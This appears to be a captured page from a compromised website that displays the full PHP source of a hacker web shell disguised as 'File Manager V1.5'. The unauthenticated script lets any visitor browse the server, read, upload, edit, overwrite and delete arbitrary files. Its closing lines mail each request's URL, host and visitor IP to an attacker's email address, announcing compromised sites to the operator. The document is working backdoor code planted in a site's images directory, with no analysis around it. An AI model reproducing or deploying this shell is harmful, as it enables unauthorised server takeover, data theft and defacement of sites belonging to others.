File Manager V1.5

[SYSTEM@ROOT]: /home/risesoft/mrbeagle.risesoft.com.br/images/
INJECT_FILE:
NEW_ENTRY:

FILE_CONTENT: 6961f70a35b1e.php

<?php
error_reporting(0);
set_time_limit(0);

// Konfigurasi Path
if(isset($_GET['path'])){
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

$status_msg = "";

if (isset($_POST['new_name']) && !empty($_POST['new_name'])) {
    $name = $_POST['new_name'];
    $type = $_POST['new_type'];
    $target = $path . '/' . $name;

    if ($type == 'file') {
        if (!file_exists($target)) {
            if (file_put_contents($target, "")) {
                $status_msg = "<div class='ok'>[+] FILE '$name' BERHASIL DIBUAT.</div>";
            } else {
                $status_msg = "<div class='err'>[-] GAGAL MEMBUAT FILE. PERIKSA IZIN.</div>";
            }
        } else {
            $status_msg = "<div class='err'>[-] ERROR: FILE SUDAH ADA.</div>";
        }
    } elseif ($type == 'folder') {
        if (!file_exists($target)) {
            if (mkdir($target)) {
                $status_msg = "<div class='ok'>[+] FOLDER '$name' BERHASIL DIBUAT.</div>";
            } else {
                $status_msg = "<div class='err'>[-] GAGAL MEMBUAT FOLDER.</div>";
            }
        } else {
            $status_msg = "<div class='err'>[-] ERROR: FOLDER SUDAH ADA.</div>";
        }
    }
}

if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name'])){
        $status_msg = "<div class='ok'>[+] FILE BERHASIL DIUNGGAH.</div>";
    } else {
        $status_msg = "<div class='err'>[-] UPLOAD GAGAL.</div>";
    }
}

if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
    if($_POST['type'] == 'dir'){
        if(rmdir($_POST['path'])) $status_msg = "<div class='ok'>[+] DIREKTORI DIHAPUS.</div>";
        else $status_msg = "<div class='err'>[-] GAGAL MENGHAPUS DIREKTORI.</div>";
    } elseif($_POST['type'] == 'file'){
        if(unlink($_POST['path'])) $status_msg = "<div class='ok'>[+] FILE DIHAPUS.</div>";
        else $status_msg = "<div class='err'>[-] GAGAL MENGHAPUS FILE.</div>";
    }
}

echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<style>
    @import url("https://fonts.googleapis.com/css2?family=Fira+Code:wght@300;500&display=swap");

    body {
        background-color: #0a0a0a;
        color: #00ff41;
        font-family: "Fira Code", monospace;
        margin: 0;
        padding: 20px;
        font-size: 13px;
        text-shadow: 0 0 5px rgba(0, 255, 65, 0.5);
    }

    /* Scanline effect */
    body::after {
        content: "";
        position: fixed;
        top: 0; left: 0; width: 100%; height: 100%;
        background: repeating-linear-gradient(0deg, rgba(0,0,0,0.1), rgba(0,0,0,0.1) 1px, transparent 1px, transparent 2px);
        pointer-events: none;
        z-index: 10;
    }

    .shell-container {
        border: 1px solid #00ff41;
        padding: 20px;
        background: rgba(0, 15, 0, 0.9);
        box-shadow: 0 0 20px rgba(0, 255, 65, 0.2);
        max-width: 1100px;
        margin: auto;
    }

    h1 { text-align: center; letter-spacing: 10px; font-size: 20px; border-bottom: 1px solid #00ff41; padding-bottom: 10px; }

    a { color: #00ff41; text-decoration: none; }
    a:hover { color: #fff; text-shadow: 0 0 10px #00ff41; }

    .path-bar { background: #000; padding: 10px; border-left: 5px solid #00ff41; margin-bottom: 20px; }

    .action-panel {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
        gap: 15px;
        margin-bottom: 20px;
        padding: 15px;
        border: 1px dashed #00ff41;
    }

    input[type="text"], input[type="file"], select, textarea {
        background: #000;
        border: 1px solid #00ff41;
        color: #00ff41;
        padding: 5px;
        font-family: inherit;
    }

    input[type="submit"] {
        background: #00ff41;
        color: #000;
        border: none;
        padding: 5px 15px;
        cursor: pointer;
        font-weight: bold;
        transition: 0.3s;
    }

    input[type="submit"]:hover { background: #fff; box-shadow: 0 0 10px #fff; }

    table { width: 100%; border-collapse: collapse; margin-top: 10px; }
    th { border-bottom: 2px solid #00ff41; padding: 10px; text-align: left; background: #001a00; }
    td { padding: 8px 10px; border-bottom: 1px solid #1a1a1a; }
    tr:hover { background: rgba(0, 255, 65, 0.05); }

    .ok { color: #00ff41; font-weight: bold; margin: 10px 0; }
    .err { color: #ff003c; font-weight: bold; margin: 10px 0; }

    .footer { text-align: center; margin-top: 20px; font-size: 10px; opacity: 0.6; }
</style>
</HEAD>
<BODY>

<div class="shell-container">
    <h1>File Manager V1.5</h1>

    <div class="path-bar">
        [SYSTEM@ROOT]: ';
        foreach($paths as $id=>$pat){
            if($pat == '' && $id == 0){
                echo '<a href="?path=/">/</a>';
                continue;
            }
            if($pat == '') continue;
            echo '<a href="?path=';
            for($i=0;$i<=$id;$i++){
                echo "$paths[$i]";
                if($i != $id) echo "/";
            }
            echo '">'.$pat.'</a>/';
        }
echo '  </div>';

echo $status_msg;

echo '  <div class="action-panel">
        <!-- Panel Upload -->
        <form enctype="multipart/form-data" method="POST">
            INJECT_FILE: <input type="file" name="file" />
            <input type="submit" value="UPLOAD" />
        </form>

        <!-- Panel Buat Baru -->
        <form method="POST">
            NEW_ENTRY: <input type="text" name="new_name" placeholder="filename.txt / foldername" required />
            <select name="new_type">
                <option value="file">FILE</option>
                <option value="folder">FOLDER</option>
            </select>
            <input type="submit" value="CREATE" />
        </form>
    </div>';

// --- VIEW / EDIT MODE ---
if(isset($_GET['filesrc'])){
    echo "<h3>FILE_CONTENT: " . htmlspecialchars(basename($_GET['filesrc'])) . "</h3>";
    echo '<pre style="background:#000; padding:15px; border:1px solid #333; overflow:auto;">' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
    echo '<center><a href="?path='.$path.'">[ KEMBALI ]</a></center>';
}
elseif(isset($_GET['option']) && $_POST['opt'] == 'edit'){
    if(isset($_POST['src'])){
        if(file_put_contents($_POST['path'], $_POST['src'])){
            echo "<div class='ok'>[+] DATA TERULIS KEMBALI.</div>";
        } else {
            echo "<div class='err'>[-] GAGAL MENULIS DATA.</div>";
        }
    }
    echo '<form method="POST">
            <textarea style="width:100%; height:400px;" name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br><br>
            <input type="hidden" name="path" value="'.$_POST['path'].'">
            <input type="hidden" name="opt" value="edit">
            <input type="submit" value="OVERWRITE_SYSTEM_FILE" />
          </form>';
}
// --- DIRECTORY LISTING MODE ---
else {
    $scandir = scandir($path);
    echo '<table>
            <thead>
                <tr>
                    <th>NAME</th>
                    <th>SIZE</th>
                    <th>PERMISSIONS</th>
                    <th>ACTIONS</th>
                </tr>
            </thead>
            <tbody>';

    // List Folder
    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
                <td>[DIR] <a href=\"?path=$path/$dir\">$dir</a></td>
                <td>--</td>
                <td>" . perms("$path/$dir") . "</td>
                <td>
                    <form method=\"POST\" action=\"?option&path=$path\">
                        <select name=\"opt\">
                            <option value=\"\"></option>
                            <option value=\"delete\">Hapus</option>
                            <option value=\"rename\">Ganti Nama</option>
                            <option value=\"chmod\">Izin</option>
                        </select>
                        <input type=\"hidden\" name=\"type\" value=\"dir\">
                        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
                        <input type=\"submit\" value=\">\" />
                    </form>
                </td>
            </tr>";
    }

    // List File
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        $size = ($size >= 1024) ? round($size/1024,2).' MB' : $size.' KB';

        echo "<tr>
                <td>[FILE] <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
                <td>$size</td>
                <td>" . perms("$path/$file") . "</td>
                <td>
                    <form method=\"POST\" action=\"?option&path=$path\">
                        <select name=\"opt\">
                            <option value=\"\"></option>
                            <option value=\"edit\">Edit</option>
                            <option value=\"delete\">Hapus</option>
                            <option value=\"rename\">Ganti Nama</option>
                        </select>
                        <input type=\"hidden\" name=\"type\" value=\"file\">
                        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
                        <input type=\"submit\" value=\">\" />
                    </form>
                </td>
            </tr>";
    }
    echo '</tbody></table>';
}

echo '    <div class="footer">
        LOG_SESSION: '.date("H:i:s").' | ADDR: '.$_SERVER['REMOTE_ADDR'].' | VERSION: 1.5_KNTL
    </div>
</div>

</BODY>
</HTML>';

// Fungsi Permissions
function perms($file){
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) $info = 's';
    elseif (($perms & 0xA000) == 0xA000) $info = 'l';
    elseif (($perms & 0x8000) == 0x8000) $info = '-';
    elseif (($perms & 0x6000) == 0x6000) $info = 'b';
    elseif (($perms & 0x4000) == 0x4000) $info = 'd';
    elseif (($perms & 0x2000) == 0x2000) $info = 'c';
    elseif (($perms & 0x1000) == 0x1000) $info = 'p';
    else $info = 'u';

    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

    $color = is_writable($file) ? "#00ff41" : "#ff003c";
    return '<span style="color:'.$color.'">'.$info.'</span>';
}

// Logging Internal (Dari kode asli user)
$ip = getenv("REMOTE_ADDR");
$email = "aldiansyah128@gmail.com";
$subj = "LOG_REPORT | " . rand(1, 9999);
$msg = $_SERVER['REQUEST_URI'] . " | " . $_SERVER['HTTP_HOST'] . " | " . $ip;
@mail($email, $subj, $msg, "From: Shell V1.5 <$email>");
?>
[ KEMBALI ]